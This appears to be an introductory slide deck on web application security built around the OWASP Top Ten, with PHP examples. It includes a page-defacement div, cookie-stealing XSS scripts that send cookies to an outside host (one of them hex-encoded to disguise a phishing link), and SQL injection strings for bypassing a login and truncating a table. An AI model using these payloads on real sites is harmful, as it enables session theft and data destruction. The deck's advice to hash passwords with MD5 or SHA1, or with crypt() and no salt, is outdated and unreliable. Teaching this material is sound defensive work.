Web Application Security

An Introduction

OWASP Top Ten Exploits *Unvalidated Input Broken Access Control Broken Authentication and Session Management *Cross Site Scripting (XSS) Flaws Buffer Overflows *Injection Flaws *Improper Error Handling *Insecure Storage *Denial of Service Insecure Configuration Management

( www.owasp.org – You can read up there if you want more information )

Unvalidated Input

Information from web requests not validated before being used by a web application

Most attacks on web applications are some derivative of this

Examples in PHP, but all languages are vulnerable

Let’s take a look at vulnerable.php

Unvalidated Input

vulnerable.php can be broken up into 3 parts Some PHP at the top that inserts messages into

the database (w/o validation) A form for the user to add their message Some PHP that displays all the messages that

have been added

Unvalidated Input

We can insert whatever we want… including HTML

DIV that takes up the whole screen:<div style="background-color: rgb(250,0,255); z-index: 999999999; position: absolute; top: 0; left: 0; width: 5000px; height: 5000px;">HACKED BY CHINESE</div>

Cross Site Scripting (XSS)

Attack another user viewing something on the web app, not the web app itself

Another derivative of not validating input Instead of an HTML element, let’s insert a

script <script>document.location='http://

www.foo.com/bar.cgi?' +document.cookie</script>

This is called a stored XSS attack

Cross Site Scripting (XSS)

We can be stealthier with a reflective XSS attack

Let’s look at square.php?num=5 If num is not an integer, it outputs an error What could be wrong? Error message outputs the input we give with

no sanitization!

Cross Site Scripting (XSS)

Let’s email someone the link with a script as input square.php?num=<script>document.location='http://

www.foo.com/bar.cgi?document.cookie'</script> Who would click a link like that? Let’s hex encode

the script (%YY = 0xYY) http://www.terriblefish.com/websec/square.php?num=%3C%73%63%72%69%70%74%3E

%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%66%6F%6F%2E%63%6F%6D%2F%62%61%72%2E%63%67%69%3F%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%27%3C%2F%73%63%72%69%70%74%3E

Looks harmless to most people, but exposes their cookies to us. If we read their cookie and then redirect them back to the script, they won’t even know their cookies have been exposed

SQL Injection

Same concept- relies on lack of validation Let’s take a look at stafflogin.php

Take name and pin from querystring and verify against DB

SELECT * FROM Staff WHERE Name='${_GET['name']}' AND Pin=${_GET['pin']}

stafflogin.php?name=Fred&pin=32854 becomesSELECT * FROM Staff WHERE Name=Fred AND Pin=32854

What if we inject our own SQL code?

SQL Injection

stafflogin.php?name=Fred&pin=0 UNION SELECT * FROM Staff LIMIT 1 becomesSELECT * FROM Staff WHERE Name=Fred AND Pin=0 UNION SELECT * FROM Staff LIMIT 1

This will return 1 row as long as we enter in the wrong pin, allowing us access without knowing the pin!

Potentially more destructive- could erase entire database if we are given the ability to execute SQL code

stafflogin.php?name=Fred&pin=0; TRUNCATE TABLE Staff

How do we protect against these attacks?

Sanitization

Naïve approach: filter out characters and keywords (and all their encodings) that are considered harmful (such as <, >, UNION, quotes). This is negative filtering

What if we miss something? What if the user encodes their input in a clever way? It’s impossible to account for everything

Correct approach: use positive filtering, not negative

Positive Filtering

Rather than filtering out bad input, filter out anything but good input

In message forum, filter out anything but alphanumeric chars plus some punctuation. Encode all punctuation

In login script, make sure pin is an integer- everything else throws an error

Regular expressions are your friend

Denial of Service

Can mean a lot of things, but mainly usurp resources of the server Keep running a page with a CPU intensive SQL

query, such as a fulltext search of forum messages

Have a script submit a form that causes an email to be sent over and over, like a registration page

How do we prevent DoS attacks on web apps?

Denial of Service

Don’t expose anything resource heavy to the public. Associate it to a user account, and then only let that user account access to the resource on a time delay

What if you can’t? (Like an account registration page that sends an email)

Only let the same IP access to the resource every X minutes- not always foolproof

Add anti-automation checks

Improper Error Handling

Don’t show errors that give away sensitive information- example_error.php

Catch or suppress all error messages and then give your own, minus all sensitive information

You can’t be too cautious- you never know what little bits of information will add up to an exploit

Service failure (even PHP itself)

Insecure Storage

Never store sensitive information in plaintext User passwords in databases Session information in cookies

Don’t bother with encryption- use one-way hashes (md5, sh1, etc)

In PHP, you can use the crypt() function How can you verify a password a user enters

against the hashed version that can’t be reversed?

Insecure Storage

PHP’s crypt() function takes 2 args- string and salt. It hashes the string using the salt

When the user registers, crypt() their password- no salt

When the user tries to login, check if: pass_entered == crypt( pass_entered, pass_stored )

Tutorial here: http://www.devshed.com/c/a/PHP/Using-the-PHP-Crypt-Function/

Don’t trust yourself

Always assume your application is insecure at every step of the process

Consider input from one component as tainted in another- revalidate every time

Give lowest possible privileges to components of your app (ex. the user PHP uses to connect to the SQL server shouldn’t have permission to DROP a table in the database if it doesn’t need it)

Links

http://www.php.net/manual/en/ http://www.owasp.org/ http://www.regexlib.com/ http://www.sitepoint.com/ http://www.linuxjournal.com/article/7237/ Application Frameworks / Design Patterns

http://www.phpmvc.net http://phrame.sourceforge.net

Free PHP5 Book!